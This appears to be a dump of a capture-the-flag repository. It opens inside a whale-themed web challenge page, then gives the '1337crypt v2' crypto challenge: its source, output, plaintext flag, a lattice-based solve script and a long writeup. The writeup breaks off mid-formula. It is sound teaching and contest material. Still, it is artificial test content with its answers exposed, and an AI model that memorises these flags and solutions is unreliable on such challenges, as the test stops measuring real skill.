OO:::::::::::::OO    CC:::::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::R     R:::::R\n    D::::::::::::DDD        OO:::::::::OO        CCC::::::::::::CK:::::::K    K:::::KE::::::::::::::::::::ER::::::R     R:::::R\n    DDDDDDDDDDDDD             OOOOOOOOO             CCCCCCCCCCCCCKKKKKKKKK    KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRR     RRRRRRR or is it?\n-->\n  <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl\" crossorigin=\"anonymous\">\n  <style>\n    body {\n      background-image: url('whale.jpg');\n    }\n\n    .content {\n      background: rgba(256, 256, 256, 0.7);\n      padding: 10px;\n      margin-top: 50px;\n    }\n  </style>\n\n</head>\n\n<body>\n  <div class=\"container\">\n    <div class=\"row justify-content-center content\">\n      <h1>My story about whaless</h1>\n      <iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/xFPoIU5iiYQ\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\n      <p>\n        I hope you the story about whales, one of my friends was all like, \"GEEE k eeeeeeh\" it was okay,\n      </p>\n\n\n      <h3>Whales a story.</h3>\n      <p>\n        Whales are cool, they exist and they are pretty big. Some of them are bigger than other whales. Some of the whales swim in the water. Actually I think most of the whales swim in the water. Water is a medium of which whales can swim through. Water is made up of 2 Parts Oxygen and 1 Part Hydrogen. Whales like this because they can swim in and it is where we live.\n      </p>\n\n      <p>\n        As for my second point, whales come in all shapes and sizes. They also do this thing where they swim to the top of the water (in the ocean usually) and then do a big jump at the top where they move from the water into the air. Air is made out of gas and does not have water on it. Because of this the whales realise that they cannot stay above the water for long because they must live in water so they drop back into the water. This is also due to gravity. Gravity is the force the pushes whales to the ground.\n      </p>\n\n      <p>\n        Whales also have a big hole on top of their body. The hole is called their \"Whale Hole\" when the whale has a lot of water in their body they must get rid of it. They do this by doing a big spurt and lots of water comes out. This is because they can't have too much water in their body because they are already surrounded by water.\n      </p>\n\n      <p>\n        In conclusion, I think that whales are cool and great and they do cool stuff. Sometimes they exists and sometimes they don't and thats okay. Because if whales are real. Then so are we.\n      </p>\n\n      <p>\n        Kind Regards,\n      </p>\n      <p>\n        Whale\n      </p>\n\n      <h2>Some Blog Links</h2>\n      <ul>\n        <li><a href=\"?page=page1\">Blog 1</a></li>\n        <li><a href=\"?page=page2\">Blog 2</a></li>\n      </ul>\n    </div>\n\n  </div>\n\n</body>\n\n</html>"
  },
  {
    "path": "cloud/whale_blog/src/web/page1",
    "content": "Try Harder!\n"
  },
  {
    "path": "cloud/whale_blog/src/web/page2",
    "content": "Hello World!\n"
  },
  {
    "path": "crypto/1337crypt-v2/README.md",
    "content": "# 1337crypt v2\n\n**Category:** crypto\n\n**Difficulty:** hard\n\n**Author:** joseph#8210\n\n[1337crypt](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt) is back. This time, with added _complexity_.\n\n\n**Attached files:**\n- ./challenge/1337crypt-v2.sage (sha256: 03cf9f5ef200873da1a459d03f63e2bd3d797086b5c14eb15ae874a5a0157fcd)\n- ./challenge/output.txt (sha256: 4bb4c75c4f874a355c09cc1a21393723af7a7bb5703f03c7b256ae2eb8e020f3)\n"
  },
  {
    "path": "crypto/1337crypt-v2/challenge/1337crypt-v2.sage",
    "content": "from Crypto.Util.number import getPrime, bytes_to_long\n\nflag = open('flag.txt', 'rb').read().strip()\n\np, q = getPrime(1337), getPrime(1337)\nn = p*q\n\nK.<z> = NumberField((x-p)^2 + q^2)\nhint1 = p^2 + q^2\nhint2 = []\n\nl = 1+337\nfor _ in range(1*3*3-7):\n    a, b = getrandbits(1337), getrandbits(1337)\n    x = K(a + getrandbits(l)/2^l) + K(b + getrandbits(l)/2^l)*z\n    y = x*x.conjugate()\n    hint2.append((int(y), a, b))\n\nZn.<I> = (ZZ.quo(n*ZZ))[]\nZnI.<I> = Zn.quo(I^2 + 1)\n\nm = randrange(1, n) + bytes_to_long(flag) * I\nc = pow(m, 0x1337)\n\nprint(f'hint1 = {hint1}', f'hint2 = {hint2}', f'c = {c}', sep='\\n')\n"
  },
  {
    "path": "crypto/1337crypt-v2/challenge/flag.txt",
    "content": "DUCTF{mantissa_in_crypto??_n0_th4nks!!}\n"
  },
  {
    "path": "crypto/1337crypt-v2/challenge/output.txt",
    "content": "hint1 = 9474114456792673515431877947943819508105969635542281515830563486137327168661333703401850605206493227243522275742966516648683239582868203596838274343178793480973891177607186024817920580636526398124249438530268326706106084200991464054888550590630591134888356623254262308517945404542523082470069480353068223694311508861801523183513245279545596528410382012946385366699431483305340128165852371328697376926968446708099825429442186214124021086080153564030893750081986851543881131351556953787562383902563532279388285764786107301410609469955447888060120474186646198067390958666731078269768973485409216649415321100676385488676994332545669638759522053210552702128133338413305324201806761866164474398103381334477039479224259925086453057512169480806903881772813089475880157326511289464083589335128877565750510634618850\nhint2 = [(732546382458694012527789828012658378094702844241795401426843533262220812770028735455197287163119092985574791815396084039371039996745646333674579318749988785972110472195404257454757344814442424493794011566431937242360848878285030166984149693743077380791443878087350475749876855340312637158554338528312647367781264029940556029591883509296327157870585105957528288777977912893801651347425601258985587330670953298765350018187069720989197539655266126608555068568433785671130844623376557756307700624321155540004939237651224429899583558320317618753120682478549822994855115229255313084828494729871333964260804633974731539710591594817406548163223896591957023800247556355776277803866504762994363248426088927388107745396346246364269053285330511504658050763844166012473791572894552857353549047649195624795947489180260979461063462063828112399114859364813704521025921163040319096254633472956309716047137099678802685979113668885601296025318218875502044310139823328365450929054463143898168438742821823709383772324178942782797995009228644990630313338092741812684409459706859981433655900653533420603781201785114071059836464490109704785152549161122683211537057829631974746267465106271003835623120675868336217957493577419646574917016786960763971105924313670864643113152080247596101761667919974877317059734430884155146853783807463171001928603696124835265895296591581488900411484570933812177545618929573489183920330986109459899431831015221573294655414274883012371358092609067769905057144741729285256290725546405447624734438623235233946301969480294721959115680856021696640872884026385162811995627855934793386619910476937700613082779, 1543824598221623810544208805328287421613768036151947874139391287620165680044273642997713684429385602196228549596953402195253771549624806908757244012787647676921740972118119690619160814867773301029620094485726996907379061963500831983371578370700427374066341469843386724329442101058337650126328673673103875588454070821764869582749550357448526278027673495765146251605639297850930361919443005623694632013303, 278066231056905142305104802223227529510107823582373063981133703297010715328189269872672545717708004188569473458656648620603642909190690880317856689557616399347538953740829444695466029704435732263108744727780955070759083273384356847390585190707938226562580173928509689922077486197504519480359398971760153208230160873276281036727480009843280457680277644007154868247812957266590582948212002647347579597965), (2403931462615300014912573083791207269120927941165936946270714147348589275302782927254153349406751900409737005652653965419293500156635383418370534229776798159799544655491444625223239629070116271649566531509751492007287556686610922243146922720689240769956444136141045389983487722510967341333296316124861289680453311483583713394680884118860739515747245777714794715741583447733115461680095467478792575220154609730018111981467052398055564596522296491712770565301016865613056558617018826541540034369006769600336871572325043701351770219492587170369815095344397680717819930616599208355365092147396589419063661351495695927808384696467907751578957796331366383391221037004742878990846671674314297157060496951084267550785175020195260374151822097301166545332365173007130667658669023236685137146454027881996654859397883138679620794416770836903293285267689375186032800923071081877797299448490161970114063577601307797826188431113415671273120884557490666872780316977507218882738147619244927641770516473541881268874031321080906148751514801419469523784406736104695838521768957591700470012632981881278541917424550592192054960270762406248837436552253011562745897713476468254217503340327771690937113342506707740878371307784138197357653258554320947445665637325825934844545591362876466794093523698691499245458580590045390833227060694376995243735824822120025136206595444317852707366827787780703456414342309744435791623414331744392284997640092463157849832124166944965921884701468913065315740226664124591175781629426506057267248659303310396227692666112080517619152746622372541984530565220811971391954114052398015660212010257113648848847, 1095271776133890944180744243712910546278746562392568011876271303881431329832093376635925871119446466987231888845639447279594831752278087660346437418402997861987783151298417098367490883057794520011454228160352569059415183920272078930149476192223454197039306461996527833603604938471295363667754643414137116188016150205603690898270274189826416464265752825558069478170856048769787582750749123139364050774900, 503722937364073120219172142862403799517933100630972300242952550817433776953552478694914014362767990852845981728951892566080540126804572527879551832311854342967959495035585119889481210539549990451963720802920003582648892828543694739151645941765335597098334960962085798952240875279321239403245884262371088975882015803767312665173035156867269826854927631774910426072984288933637519024572470691768302645082)]\nc = 605102888419960227209554020321928680123927287488855374705023014664876415212834812004489811277243459845970579234661036307883657755039678491432326372452841243321229852171896023071850921050801342321482817352489245753590859528134913389224781053767643398051814697896895555141791201522215484812840325201515942495422062613986130075684389632368804195932004897586630630338128732739336582396560286087433253207646470438321442025408149861408487622053608073870706373371068091196032798889074109310838175523351596714632562756238346928415386196418507587810202943766172435188745498284802679701385932344117910084137055452834777639122479568560833213921960536746001563295384313906616645378042076612734674897406388665158992742560848871345048141300064428115232029157294890916882227084289355920878535418217759491272196240289158*I + 4029058763453606238903897463441562834907249422434463474076515876575829847522130192389016587404930865750330557087612323698180248796377295462524538856886086398759909290696184205993616487194215215220788562122976961077906744617472657126002125275580071372330371116294688544107523683271239033324714979085342248973341926663953843846046960739886947485863993625451601367382937578510847100654709310703410238862000749364014455073705910890023184023421059288913438268024784676942709153616462894290327611033397199003399769315399282676125251796552761022560343255167268538619398474794249565056809687349530329863724341722260050648912909130315084736439621962322946883555665867960336853966064629555225967168666632969614488585135849531033105444785970372310095381763641123031809302021416125564151419362313796375570121725315170\n"
  },
  {
    "path": "crypto/1337crypt-v2/challenge.yml",
    "content": "version: \"0.1\"\nid: 1337crypt-v2\nname: 1337crypt v2\ncategory: crypto\ndescription: |\n  [1337crypt](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/1337crypt) is back. This time, with added _complexity_.\n\n  Author: joseph#8210\n\ntags:\n  - hard\n\nfiles:\n  - ./challenge/1337crypt-v2.sage\n  - ./challenge/output.txt\n\nflags:\n  - DUCTF{mantissa_in_crypto??_n0_th4nks!!}\n"
  },
  {
    "path": "crypto/1337crypt-v2/solve/solve.sage",
    "content": "from Crypto.Util.number import long_to_bytes\n\nexec(open('../challenge/output.txt').read()) # hint1, hint2, c\n\nnbits = 1337\nl = 1+337\ndd = 2^-l\nD = hint1\n\nt1, t2 = [int(b^2 * D - y)//int(2*a*b) for y, a, b in hint2]\ns1, s2 = [int(dd*D)//a for _, a, b in hint2]\n\nM = Matrix([\n    [s1, 1, 0],\n    [s2, 0, 1],\n    [t1 - t2, 0, 0]\n])\nB = M.LLL()\nd = abs(B[0][1])\ny, a, b = hint2[0]\nmy_p = int(y - (b^2 + 2*dd*b*d)*D)//int(2*a*b)\n\nfor p in range(my_p - 2^8, my_p + 2^8):\n    if ZZ(D - p^2).is_square():\n        q = ZZ(D - p^2).sqrt()\n        print('[+] primes recovered!', p, q)\n        break\n\nn = p*q\nZn.<I> = (ZZ.quo(n*ZZ))[]\nZnI.<I> = Zn.quo(I^2 + 1)\nc = ZnI(c)\n\nd = pow(0x1337, -1, (p-1)*(q-1))\nm = pow(c, int(d))\n\nflag = long_to_bytes(list(m)[1])\nprint('[*] flag:', flag.decode())\n"
  },
  {
    "path": "crypto/1337crypt-v2/solve/writeup.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"id\": \"3ebec137\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Challenge Overview\\n\",\n    \"\\n\",\n    \"The challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) from last year's DUCTF. Reading the solution for 1337crypt may help a bit with some initial ideas as both challenges play with the idea of partial knowledge. In both challenges, we are given hints to recover the prime factors, but the hints themselves seem to omit some bits of information. Specifically, the hints are the integer parts of some values that should actually contain a fractional part as well. As we will see (and as you may suspect :)), lattice techniques will help us to recover this missing information and therefore the primes.\\n\",\n    \"\\n\",\n    \"## Flag Encryption\\n\",\n    \"\\n\",\n    \"We start by looking at how the flag is encrypted so that we have a clear idea of what we need to recover it. The flag is encrypted in a way very similar to RSA. The only difference is that instead of using integers, we use [Gaussian integers](https://en.wikipedia.org/wiki/Gaussian_integer). If you aren't familiar with Gaussian integers, I highly recommend reading [this excellent blog post](https://blog.cryptohack.org/tetctf-2021) by CryptoHack for some extra background.\\n\",\n    \"\\n\",\n    \"We work in the ring $(\\\\mathbb{Z}/n\\\\mathbb{Z})[i]$ (we will just write this as $\\\\mathbb{Z}_n[i]$) where $n = pq$ is the RSA modulus. The flag is encoded as an element $m$, of $\\\\mathbb{Z}_n[i]$ by choosing a random integer $r < n$ and computing $m = r + \\\\mathrm{flag} \\\\cdot i$.\\n\",\n    \"\\n\",\n    \"The ciphertext is obtained by raising $m$ to the $e$th power. In the challenge, $e$ is 0x1337.\\n\",\n    \"\\n\",\n    \"To decrypt the ciphertext, we must find the multiplicative inverse of $e$ modulo the order of $\\\\mathbb{Z}_n[i]$. (Note: in this context, when we say \\\"the order of $\\\\mathbb{Z}_n[i]$\\\" we mean the cardinality of the multiplicative group of $\\\\mathbb{Z}_n[i]$) The order of $\\\\mathbb{Z}_n[i]$ is $\\\\varphi(n) = (p-1)(q-1)$, so to compute it, we'll need to recover the primes.\\n\",\n    \"\\n\",\n    \"## Hints\\n\",\n    \"\\n\",\n    \"The challenge generates 1337-bit primes $p$ and $q$ and gives us two hints, and the ciphertext. Using these hints, we need to recover $p$ and $q$.\\n\",\n    \"\\n\",\n    \"### Hint 1\\n\",\n    \"\\n\",\n    \"The first hint, which we will call $D$, is $D = p^2 + q^2$. This seems like a pretty big hint, and indeed if we were also given $n = pq$ we could easily recover the primes by finding the roots of a simple univariate polynomial. As far as I am aware, $D$ can't be used to directly recover $p$ and $q$ either; there are techniques such as factoring $p^2 + q^2 = (p + qi)(p - qi)$ over the Gaussian integers, but this requires factoring $D$ over the integers which may take a long time. That said, if you were able to find a solution using this hint alone I'd be interested in seeing it :)\\n\",\n    \"\\n\",\n    \"### Hint 2\\n\",\n    \"\\n\",\n    \"There is a lot more going on in the second hint. But firstly, some background. [Number field](https://en.wikipedia.org/wiki/Algebraic_number_field) is just a fancy name for an (finite) extension of the rational numbers $\\\\mathbb{Q}$. The simplest number field is $\\\\mathbb{Q}$ itself, and the rational complex numbers, $\\\\mathbb{Q}(i)$ is also a number field.\\n\",\n    \"\\n\",\n    \"We can see that a number field is constructed from $p$ and $q$. In Sage, the first argument to [NumberField](https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/number_field.html#sage.rings.number_field.number_field.NumberField) is the defining polynomial. The roots of this polynomial specify the elements to be adjoined to $\\\\mathbb{Q}$ to get the number field. We see that the defining polynomial for $K$ is $(x-p)^2 + q^2$, which has roots $p \\\\pm qi$. Therefore, we define\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"K = \\\\mathbb{Q}(p + qi)\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"(side note: we only need to adjoin one root since the other, it's conjugate, can be obtained from the root with usual field operations). In the handout code, $z = p + qi$ denotes this adjoined element.\\n\",\n    \"\\n\",\n    \"Now, for the values we are given. We get two instances of values with the same form. For the $j$th hint ($j = 1, 2$), two 1337-bit numbers $a_j$ and $b_j$ are generated, as well as two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"x_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Lastly,\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"|x_j|^2 = x_j \\\\overline{x_j}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"is computed and we are given the three values $(\\\\lfloor |x_j|^2 \\\\rfloor, a_j, b_j)$. Note that $\\\\overline{x_j}$ denotes the complex conjugate of $x_j$, so the value $x_j \\\\overline{x_j}$ gives us the squared [complex modulus](https://en.wikipedia.org/wiki/Absolute_value#Complex_numbers) of $x_j$. For ease of reading, we will write $y$ instead of $\\\\lfloor |x_j|^2 \\\\rfloor$.\\n\",\n    \"\\n\",\n    \"Importantly, we note that $x_j$ is an element of $K$ and its components are rational numbers with fractional parts. Similarly, $|x_j|^2$ is a rational number with a fractional part. However, we are only given the integer parts of these values, so it seems like we might be missing some information.\\n\",\n    \"\\n\",\n    \"# Solution\\n\",\n    \"\\n\",\n    \"Let's analyse the second hint in further detail and see if we can use it to recover the primes directly, or find a relation involving the primes that will help us to do so.\\n\",\n    \"\\n\",\n    \"## Analysing Hint 2\\n\",\n    \"\\n\",\n    \"There will be some tedious algebra, so to make things a bit more readable we will drop the subscripts. Note that we use hint 1 here since $p^2 + q^2$ appears. We have\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    x &= (a + 2^{-l} c) + (b + 2^{-l} d) z \\\\\\\\\\n\",\n    \"    &= (a + 2^{-l} c) + (b + 2^{-l} d) (p + qi) \\\\\\\\\\n\",\n    \"    &= ((a + 2^{-l} c) + (b + 2^{-l} d) p) + (b + 2^{-l} d) qi \\\\\\\\\\n\",\n    \"\\\\implies |x|^2 &= ((a + 2^{-l} c) + (b + 2^{-l} d) p)^2 + ((b + 2^{-l} d)q)^2 \\\\\\\\\\n\",\n    \"    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p \\\\\\\\\\n\",\n    \"        &\\\\quad + (b + 2^{-l} d)^2 p^2 + (b + 2^{-l} d)^2 q^2 \\\\\\\\\\n\",\n    \"    &= (a + 2^{-l} c)^2 + 2(a + 2^{-l} c)(b + 2^{-l} d) p + (b + 2^{-l}d)^2 D \\\\\\\\\\n\",\n    \"    &= a^2 + 2 \\\\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\\\cdot 2^{-l} adp + 2 \\\\cdot 2^{-l} bcp + 2 \\\\cdot 2^{-2l} c d p \\\\\\\\\\n\",\n    \"        &\\\\quad + (b^2 + 2 \\\\cdot 2^{-l} bd + 2^{-2l} d^2) D \\\\\\\\\\n\",\n    \"    &= a^2 + 2 \\\\cdot 2^{-l} ac + 2^{-2l} c^2 + 2 a b p + 2 \\\\cdot 2^{-l} adp + 2 \\\\cdot 2^{-l} bcp + 2 \\\\cdot 2^{-2l} c d p \\\\\\\\\\n\",\n    \"        &\\\\quad + b^2 D + 2 \\\\cdot 2^{-l} bd D + 2^{-2l} d^2 D\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Now, this looks like a mess and it kinda is, but fortunately we can clean it up a bit. Recall that $a$ and $b$ are 1337-bit numbers, while $c$ and $d$ are 338-bit numbers ($l = 338$). The following table gives the approximate size of each term (_when considered as an integer_), which we will use to reason with soon. Note that $D = p^2 + q^2$ is on the order of $2 \\\\times 1337$ bits.\\n\",\n    \"\\n\",\n    \"|Term|Size (in bits)|\\n\",\n    \"|---|---|\\n\",\n    \"|$a^2$|$2 \\\\times 1337$|\\n\",\n    \"|$2 \\\\cdot 2^{-l} ac$|$1337$|\\n\",\n    \"|$2^{-2l}c^2$|$0$|\\n\",\n    \"|$2abp$|$3 \\\\times 1337$|\\n\",\n    \"|$2 \\\\cdot 2^{-l} adp$|$2 \\\\times 1337$|\\n\",\n    \"|$2 \\\\cdot 2^{-l} bcp$|$2 \\\\times 1337$|\\n\",\n    \"|$2 \\\\cdot 2^{-2l} cdp$|$1337$|\\n\",\n    \"|$b^2 D$|$4 \\\\times 1337$|\\n\",\n    \"|$2 \\\\cdot 2^{-l} bd D$|$3 \\\\times 1337$|\\n\",\n    \"|$2^{-2l} d^2 D$|$2 \\\\times 1337$|\\n\",\n    \"\\n\",\n    \"Now, what we will do is divide (integer division) the entire expression by $2ab$. Because $2ab$ is around $2 \\\\times 1337$ bits in size, we can more or less throw away any term whose size is $2 \\\\times 1337$ or less. This leaves us with\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\frac{|x|^2}{2ab} = \\\\frac{y}{2ab} &\\\\approx p + \\\\frac{(b^2 + 2 \\\\cdot 2^{-l} bd) D}{2ab} \\\\\\\\\\n\",\n    \"        &\\\\approx p + \\\\frac{b^2D}{2ab} + \\\\frac{2^{-l}dD}{a}\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"This approximation itself is very accurate, and only differs by a few bits due to the $2 \\\\times 1337$ terms. However, we don't know $d$, so this equation isn't as useful for us. Instead, we write\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\frac{y}{2ab} &\\\\approx p + \\\\frac{b^2 D}{2ab} + \\\\left \\\\lfloor \\\\frac{2^{-l} D}{a} \\\\right \\\\rfloor d \\\\\\\\\\n\",\n    \"                  &= p + \\\\frac{b^2 D}{2ab} + \\\\left \\\\lfloor \\\\frac{2^{-l} D}{a} \\\\right \\\\rfloor d + k\\n\",\n    \"\\\\end{aligned} \\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"where $|k| < 2^l$. Note that the approximation is off by a term of size approximately $l$ bits because of integer division rounding. We will omit the $\\\\lfloor \\\\rfloor$, but it should be understood that we are performing integer division.\\n\",\n    \"\\n\",\n    \"## Using Hint 2\\n\",\n    \"\\n\",\n    \"Now let's bring back the subscripts, noting that we have two instances:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"\\\\begin{cases}\\n\",\n    \"    \\\\frac{y_1}{2a_1 b_1} &= p + \\\\frac{b_1^2 D}{2 a_1 b_1} + \\\\frac{2^{-l} D}{a_1} d_1 + k_1 \\\\\\\\\\n\",\n    \"    \\\\frac{y_2}{2a_2 b_2} &= p + \\\\frac{b_2^2 D}{2 a_2 b_2} + \\\\frac{2^{-l} D}{a_2} d_2 + k_2 \\\\\\\\\\n\",\n    \"\\\\end{cases}\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Finally, let's combine these two equations to eliminate $p$. \\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\frac{y_1 - b_1^2 D}{2 a_1 b_1} - \\\\frac{2^{-l} D}{a_1} d_1 - k_1 = \\\\frac{y_2 - b_2^2 D}{2 a_2 b_2}- \\\\frac{2^{-l} D}{a_2} d_2 - k_2\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Just so it's easier to read, let $t_j = \\\\frac{y_j - b_j^2 D}{2 a_j b_j}$ and $s_j = \\\\frac{2^{-l} D}{a_j}$. Then, rewriting the above equation, we have:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"t_1 - s_1 d_1 - k_1 = t_2 - s_2 d_2 - k_2\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"or to put it in a more exciting way:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"f(d_1, d_2, k) = t_1 - s_1 d_1 - t_2 + s_2 d_2 - k = 0\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"Now, $f$ has \\\"small\\\" integer roots $d_1, d_2$ and $k$. An algorithm for finding small roots of multivariate polyomials over the integers is described in this [paper](https://eprint.iacr.org/2007/088.pdf). Following a similar idea, [defund's coppersmith implementation](https://github.com/defund/coppersmith/) can also be used by working over an arbitrary ring $\\\\mathbb{Z}/N\\\\mathbb{Z}$ for some large $N$.\\n\",\n    \"\\n\",\n    \"### Lattice Approach\\n\",\n    \"\\n\",\n    \"However, we can also recover $d_1$ and $d_2$ with a very simple lattice. Consider the lattice generated by the rows of the following matrix:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{bmatrix}\\n\",\n    \"    s_1 & 1 & 0 \\\\\\\\\\n\",\n    \"    s_2 & 0 & 1 \\\\\\\\\\n\",\n    \"    t_1 - t_2 & 0 & 0\\n\",\n    \"\\\\end{bmatrix}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"The short vector $(k, -d_1, d_2)$ is an element of this matrix, given by the linear combination of $-d_1$ times the first row, $d_2$ times the second row, and $1$ times the third row. LLL finds this vector.\\n\",\n    \"\\n\",\n    \"## Recovering the Primes\\n\",\n    \"\\n\",\n    \"Now that we have $d$, it is straightforward to recover $p$. We use the approximation we found earlier:\\n\",\n    \"\\n\",\n    \"$$\\n\",\n    \"\\\\begin{aligned}\\n\",\n    \"    \\\\frac{y}{2ab} &\\\\approx p + \\\\frac{(b^2 + 2 \\\\cdot 2^{-l} bd) D}{2ab} \\\\\\\\\\n\",\n    \"    \\\\implies p &\\\\approx \\\\frac{y - (b^2 + 2 \\\\cdot 2^{-l} bd) D}{2ab}\\n\",\n    \"\\\\end{aligned}\\n\",\n    \"$$\\n\",\n    \"\\n\",\n    \"This approximation is accurate to all but a few bits, which we can easily exhaust over, checking if $D - p^2$ is a square to know which candidate for $p$ is correct. We then compute $q$ as the square root of $D - p^2$.\\n\",\n    \"\\n\",\n    \"## Getting the Flag\\n\",\n    \"\\n\",\n    \"We've already discussed how to decrypt the ciphertext given that we have the prime factors. Compute $d \\\\equiv e^{-1} \\\\pmod{(p-1)(q-1)}$ as in regular RSA and raise $c$ to the $d$th power. The flag is in the imaginary component of the result.\\n\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"id\": \"bd9c2253\",\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": []\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 3 (ipykernel)\",\n   \"language\": \"python\",\n   \"name\": \"python3\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 3\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython3\",\n   \"version\": \"3.9.6\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 5\n}\n"
  },
  {
    "path": "crypto/1337crypt-v2/solve/writeup.md",
    "content": "# Challenge Overview\n\nThe challenge claims to be a more complex version of [1337crypt](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#1337crypt) from last year's DUCTF. Reading the solution for 1337crypt may help a bit with some initial ideas as both challenges play with the idea of partial knowledge. In both challenges, we are given hints to recover the prime factors, but the hints themselves seem to omit some bits of information. Specifically, the hints are the integer parts of some values that should actually contain a fractional part as well. As we will see (and as you may suspect :)), lattice techniques will help us to recover this missing information and therefore the primes.\n\n## Flag Encryption\n\nWe start by looking at how the flag is encrypted so that we have a clear idea of what we need to recover it. The flag is encrypted in a way very similar to RSA. The only difference is that instead of using integers, we use [Gaussian integers](https://en.wikipedia.org/wiki/Gaussian_integer). If you aren't familiar with Gaussian integers, I highly recommend reading [this excellent blog post](https://blog.cryptohack.org/tetctf-2021) by CryptoHack for some extra background.\n\nWe work in the ring $(\\mathbb{Z}/n\\mathbb{Z})[i]$ (we will just write this as $\\mathbb{Z}_n[i]$) where $n = pq$ is the RSA modulus. The flag is encoded as an element $m$, of $\\mathbb{Z}_n[i]$ by choosing a random integer $r < n$ and computing $m = r + \\mathrm{flag} \\cdot i$.\n\nThe ciphertext is obtained by raising $m$ to the $e$th power. In the challenge, $e$ is 0x1337.\n\nTo decrypt the ciphertext, we must find the multiplicative inverse of $e$ modulo the order of $\\mathbb{Z}_n[i]$. (Note: in this context, when we say \"the order of $\\mathbb{Z}_n[i]$\" we mean the cardinality of the multiplicative group of $\\mathbb{Z}_n[i]$) The order of $\\mathbb{Z}_n[i]$ is $\\varphi(n) = (p-1)(q-1)$, so to compute it, we'll need to recover the primes.\n\n## Hints\n\nThe challenge generates 1337-bit primes $p$ and $q$ and gives us two hints, and the ciphertext. Using these hints, we need to recover $p$ and $q$.\n\n### Hint 1\n\nThe first hint, which we will call $D$, is $D = p^2 + q^2$. This seems like a pretty big hint, and indeed if we were also given $n = pq$ we could easily recover the primes by finding the roots of a simple univariate polynomial. As far as I am aware, $D$ can't be used to directly recover $p$ and $q$ either; there are techniques such as factoring $p^2 + q^2 = (p + qi)(p - qi)$ over the Gaussian integers, but this requires factoring $D$ over the integers which may take a long time. That said, if you were able to find a solution using this hint alone I'd be interested in seeing it :)\n\n### Hint 2\n\nThere is a lot more going on in the second hint. But firstly, some background. [Number field](https://en.wikipedia.org/wiki/Algebraic_number_field) is just a fancy name for an (finite) extension of the rational numbers $\\mathbb{Q}$. The simplest number field is $\\mathbb{Q}$ itself, and the rational complex numbers, $\\mathbb{Q}(i)$ is also a number field.\n\nWe can see that a number field is constructed from $p$ and $q$. In Sage, the first argument to [NumberField](https://doc.sagemath.org/html/en/reference/number_fields/sage/rings/number_field/number_field.html#sage.rings.number_field.number_field.NumberField) is the defining polynomial. The roots of this polynomial specify the elements to be adjoined to $\\mathbb{Q}$ to get the number field. We see that the defining polynomial for $K$ is $(x-p)^2 + q^2$, which has roots $p \\pm qi$. Therefore, we define\n\n$$\nK = \\mathbb{Q}(p + qi)\n$$\n\n(side note: we only need to adjoin one root since the other, it's conjugate, can be obtained from the root with usual field operations). In the handout code, $z = p + qi$ denotes this adjoined element.\n\nNow, for the values we are given. We get two instances of values with the same form. For the $j$th hint ($j = 1, 2$), two 1337-bit numbers $a_j$ and $b_j$ are generated, as well as two $l$-bit numbers $c_j$ and $d_j$. Then, $x_j$ is computed as\n\n$$\nx_j = (a_j + 2^{-l} c_j) + (b_j + 2^{-l} d_j) z\n$$\n\nLastly,\n\n$$\n|x_j|^2 = x_j \\overline{x_j}\n$$\n\nis computed and we are given the three values $(\\lfloor 